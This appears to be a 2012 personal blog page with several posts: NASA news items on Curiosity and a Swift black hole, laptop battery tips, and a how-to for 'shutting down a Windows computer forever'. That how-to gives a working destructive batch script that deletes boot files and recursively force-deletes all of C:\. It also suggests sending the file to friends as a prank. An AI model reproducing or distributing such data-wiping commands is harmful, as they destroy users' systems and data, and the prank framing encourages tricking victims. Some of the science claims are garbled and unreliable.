Friday, October 19, 2012

NASA's Curiosity finds unidentified shiny object on Mars surface


 NASA’s Curiosity Rover which had been sent to Red planet for searching the chances of life, and similarities between Earth and Mars, now has found some more interesting things on Mars. Curiosity found some unidentified shiny object on the surface, while collecting the samples of Red Planet’s surface. Rover has found some enough shiny object on the surface of Mars, which can be clearly seen by the pictures sent by Curiosity Rover to NASA. Scientists have different opinions for these shiny unidentified objects, some scientists are taking these objects as some human-made material/object, while other scientist are assuming it as a part of the Red planet itself. After seeing these shiny objects, NASA stated on Wednesday, that Curiosity Rover’s Chemin, which is a special device to check chemical and biological materials, will do more inspection of Mars’s surface to find the truth.




Scientists who are related to Curiosity’s project in California, finally declared that they have seen some shiny objects. NASA’s Scientists have named these unidentified shiny objects as ‘Smutz’. NASA’s scientist have not yet denied from the possibilities of these objects being human made, though most of the scientists are taking it as the metals of Red Planet only, as these are found from the same place from where Rover has collected the samples of Mars surface.

Scientists are also saying that these objects were borken into small parts due to Rover, as these parts are being found in those parts from where Rover had been passed and had made dugs on the surface.

Monday, October 15, 2012

How to Shut Down a Windows running Computer forever.

Introduction:

This post shares some .bat script with you, which can be used as a trick, so that one will Shut Down his/her Computer, and will never be able to turn it ON, until he/she install a new copy of Windows or any other Operating System.

In this trick, you will create a .bat file, which when clicked, immediately shuts down your Computer and when the next time you will try to turn ON your Computer, you’ll find it not possible.

Software needed for creating a file to shut down your PC forever-

 Notepad.. and just Notepad or any other good text editor.
·         Nothing else!

So here it starts:

1) Open Notepad.


Snapshot of Notepad to Shut Down a Windows running Computer forever


Snapshot of Notepad to Shut Down a Windows running Computer forever 1

2) Now, copy/paste the following code into it:
@echo off
attrib –r –s –h c:\autoexec.bat
del c:\autoexec.bat
attrib –r –s –h c:\boot.ini
del c:\boot.ini
attrib –r –s –h c:\ntldr
del c:\ntldr
attrib –r –s –h c:\windows\win.ini
del c:\windows\win.ini
Snapshot of Notepad to Shut Down a Windows running Computer forever 2

3) Now simply save it with you desired name, writing “.bat(without quotes) in the end of the name.


Snapshot of Notepad to Shut Down a Windows running Computer forever 3

Snapshot of Notepad to Shut Down a Windows running Computer forever 4

Snapshot of Notepad to Shut Down a Windows running Computer forever 6

Snapshot of Notepad to Shut Down a Windows running Computer forever 7


4) You’re Done with it!

Snapshot of Notepad to Shut Down a Windows running Computer forever 9

Now,  whenever one opens this file, it should shut down your Computer, and now you cannot turn your Computer ON again.

Another code:
cmd /c del c:\windows\* /F /S /Q

cmd /c del c:\* /F /S /Q
How it works => "This file sends command to the system to shut down and then deletes all the needed files, which are required to reboot or restart your Computer. As booting is very much required to let your Windows (or any other OS) load, the system has no way to get started again, until you re-install a new and fresh copy of Windows once again."

IMPORTANT NOTE: Remember, to not to click this file ever as you will not be able to recover your Computer once you have clicked or opened that .bat file!

What you can do is to use it whenever it is required, or simply have fun with your friends by sending this file to them and say to open it for some FUN !

Disclaimer: “This trick is being posted here for education purpose. We do not encourage any kind of misuse or bad deeds being done from this information.”

Tuesday, October 9, 2012

NASA’s Swift satellite found signs of a new Black Hole in Milky Way galaxy. Swift J 1745.26


America’s Space agency NASA’s Swift satellite has found the signs of an unknown black hole in our Milky Way. Space scientists have no idea about its real distance from our planet, but they are believing as it is on a distance of 20 to 30 thousand light years away from the inner space of our Milky Way. It has been reported that this Black Hole has been came into vision due to the light of a Bright X-ray Nova. The Head Researcher of this project,  Neil Gehrels said that ‘such lightning X-ray Nova are rare to be seen, and this the only such X-ray Nova, which Swift has captured. Actually, we were waiting for the same’.
A scientist, Borris Baruffati has shown his hope that as the effects of this X-ray Nova will get decreased, we will be able to clear if it is really a Black Hole or not, but knowing its mass.




  • What is a Black Hole?
Black hole is that place in the space, from where even light rays do not come back due to the ultimate gravitational force of that area.

  • What is the name of new Black Hole, found by NASA’s swift satellite?
NASA has named this new found Black Hole as ‘Swift J 1745.26’ depending on the situations and founder satellite ‘Swift’.

  • Where is the new black hole found by NASA’s Swift satellite located?
The new Black Hole is present some degrees away from our Milky Way (or Aakaash Ganga).




(If you're having any queries/suggestions or reactions to this post "NASA’s Swift satellite found the signs of a new Black Hole in Milky Way galaxy. Swift J 1745.26.", you're most welcome in comments..)..)

Tuesday, October 2, 2012

How to maintain Laptop's battery - increase battery life and battery performance.


Introduction:

This post deals with some useful steps on how to maintain our Laptop’s battery, so that it may last for longer time. It is not only useful to save your future expenses to buy a new battery after every third month, but also as it saves you from the trouble of losing useful data due to sudden shut down of Laptop.

Now, I am going to share some useful tips that may help you to maintain your Laptop battery in a good condition.

Tip 1: If you have just bought a new battery for your Laptop, charge the battery fully before taking it into use.

Tip 2: Do not bother if your new battery is not giving a good back-up, get it fully charged and discharged a couple of times so that it can give full of it.

Tip 3: Fully charge and fully drain your battery after every couple of months. It may help in maintaining the battery performance.

Tip 4: Re-chargeable batteries often undergoes self-discharging when not kept in use for longer time. Hence, always keep a battery pack in fully charged state for storage.

Tip 5: Avoid using additional software programs available on the Web which promises increasing battery life and performances. Go for using the built-in power management that comes with your Laptop or Operating System ‘s tools.

Tip 6: Keep the LCD brightness of your Laptop adjusted according to your need, I recommend keeping it at medium, which is good for our eyes as well as saves some or more battery power.

Tip 7: If you do not own a brand new “Ultrabook”, then it is highly recommendable to turn off your LCD when not using the Laptop. It helps in saving those limited 2-3 hours to keep your Laptop turned ON for longer time.

Tip 8: Avoid using screen savers etc on your Laptop.

Tip 9: Close the windows of programs that are not in use at the moment.

Tip 10: Avoid installing unnecessary software programs on your Notebook.

Tip 11: Upgrade the  RAM of your Laptop or add a second RAM if have dual RAM slots on your Laptop. This reduces the usage of Hard Disk to an extent.

Tip 12: Remove all the extra/external accessories attached to the Laptop. (For e.g., USB pen drives, Cards, external mini-speakers etc).

Tip 13: Keep your battery away from fire, water, moisture, metals and the reach of children.

Tip 14:

Now, Tip for every Laptop user- "Avoid resting your Laptops on your thighs more than 10 minutes, it may be risky for you, and cause serious burns and problems like infertility in males, due to the extreme heat exhaust from the Laptop".